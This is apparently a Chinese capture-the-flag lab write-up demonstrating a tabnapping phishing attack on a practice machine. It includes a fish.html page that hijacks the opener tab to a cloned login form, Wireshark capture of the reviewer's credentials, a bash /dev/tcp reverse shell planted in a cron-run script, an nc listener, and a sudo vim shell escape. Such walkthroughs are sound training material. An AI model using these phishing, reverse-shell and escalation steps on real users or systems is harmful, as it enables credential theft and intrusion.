社工钓鱼tabnapping反向标签劫持

tabnaping反向标签劫持钓鱼攻击

网站简介

靶机ip:192.168.3.133 开放端口:22/80
攻击机ip:192.168.3.128

网站的登录界面
在这里插入图片描述在注册登录后进入页面
在这里插入图片描述具体意思是这是个免费博客推广的网站,我们输入博客地址然后会将链接发送给工作人员进行审查。

提交百度https://www.baidu.com试试,会出现个a标签链接点击会跳转到百度网站

在这里插入图片描述
查看源码target是_blank和windows.open效果一样,都是新页面打开网址的意思

在这里插入图片描述

这种方式存在tabnapping即反向标签劫持攻击

钓鱼攻击

在工作人员审查我们博客时会点击我们的钓鱼链接,此时会打开一个新的页面,在新页面中写入js,js内容为更改opener页面(原页面)的loacation地址为我们自己仿造的登录页面。工作人员审查完我们提交的链接后,回到原页面发现内容变成了登录页面(由于样式一样的如果没仔细观察链接差异很难发现)。缺乏安全意识的工作人员肯定以为这可能由于cookie过期或者不小心点错页面刷新需要重新登录,就输入了自己的账号密码。而这登录操作是在我们的服务器完成的,监听我们服务器中仿造登录页面post提交的流量就能获得工作人员的账号密码。

fish.html(一会要提交的钓鱼链接)

<html>
<title>fish page</title>
 <body>
  <script>
   if (window.opener) {
      window.opener.location = "http://192.168.3.128/index.html";
   }else{alert("defeat");}
  </script>
 </body>
</html>

index.html(伪造的登录页面)

wget http://192.168.3.133/index.php

获得index.php文件,把后缀改为html文件(否则启动apache服务器配置php环境),看起来和原登录页面一模一样

在这里插入图片描述
welcome.html(模拟提交钓鱼链接的页面 用来测试是否成功)

<html>
<title>welcome page</title>
 <body>
  <a href="http://192.168.3.128/fish.html" rel="opener" target="_blank" >to fish</a> </br>
  <button onclick="window.open('http://192.168.3.128/fish.html')">to fish</button>
 </body>
</html>

开启http服务

python -m http.server 80

钓鱼模拟测试

首先进入测试页面welcome.html

http://192.168.3.128/welcome.html

在这里插入图片描述

点击to fish跳转到钓鱼链接,原页面直接变成了我们的仿造的登录页面,测试成功

在这里插入图片描述
钓鱼实战

到真正的welcome页面,提交我们的钓鱼链接http://192.168.3.128/fish.html

在这里插入图片描述
打开wireshark启动监听,接下来做的就是等?上钩

过滤信息

http and ip.src==192.168.3.128 and tcp.port==80

果然上钩了,因为是我们构造的页面,登录接口并不存在,流量特征为POST并返回错误的状态码

在这里插入图片描述
查看流量,发现账号密码

username=daniel&password=C%40ughtm3napping123

在这里插入图片描述
利用解码工具对密码进行解码,其实直接就能看出来

在这里插入图片描述
密码为C@ughtm3napping123

用获得的账号密码进行登录

ssh daniel@192.168.3.133

在这里插入图片描述

提权阶段

已经登录上了工作人员账号,接下来进入提权阶段

sudo -l发现没权限

在用户目录下又没找到可以利用的提权文件

因为daniel是属于administrators组的决定从组下手

在这里插入图片描述
查找adminstrators组可执行的权限或命令,发现可执行query.py

find / -group administrators -type f 2>/dev/null

在这里插入图片描述
到adrian的家目录查看除了query.py还有site_status.txt(daniel也有)和user.txt

在这里插入图片描述其中user.txt没有权限,site_status.txt记录了时间日期间隔2分钟执行一次

在这里插入图片描述
因为不具备sudo权限不能以adrian的身份执行query.py进行反弹。看看能不能自动执行不行就用CVE打

在daniel目录下新建tpa.sh写入反弹shell

bash -c 'bash -i >& /dev/tcp/192.168.3.128/7777 0>&1'

要给tpa.sh权限

chmod 777 tpa.sh

更改query.py(果然这个记录了site_status.txt应该就是自动执行)
在这里插入图片描述
监听端口

nc -lvvp 7777

等待2分钟反弹到adrian账号

在这里插入图片描述

sudo -l

在这里插入图片描述
直接vim提权

sudo vim -c ':!/bin/sh'

在这里插入图片描述
查看flag

在这里插入图片描述


版权声明:本文为qq_18980147原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。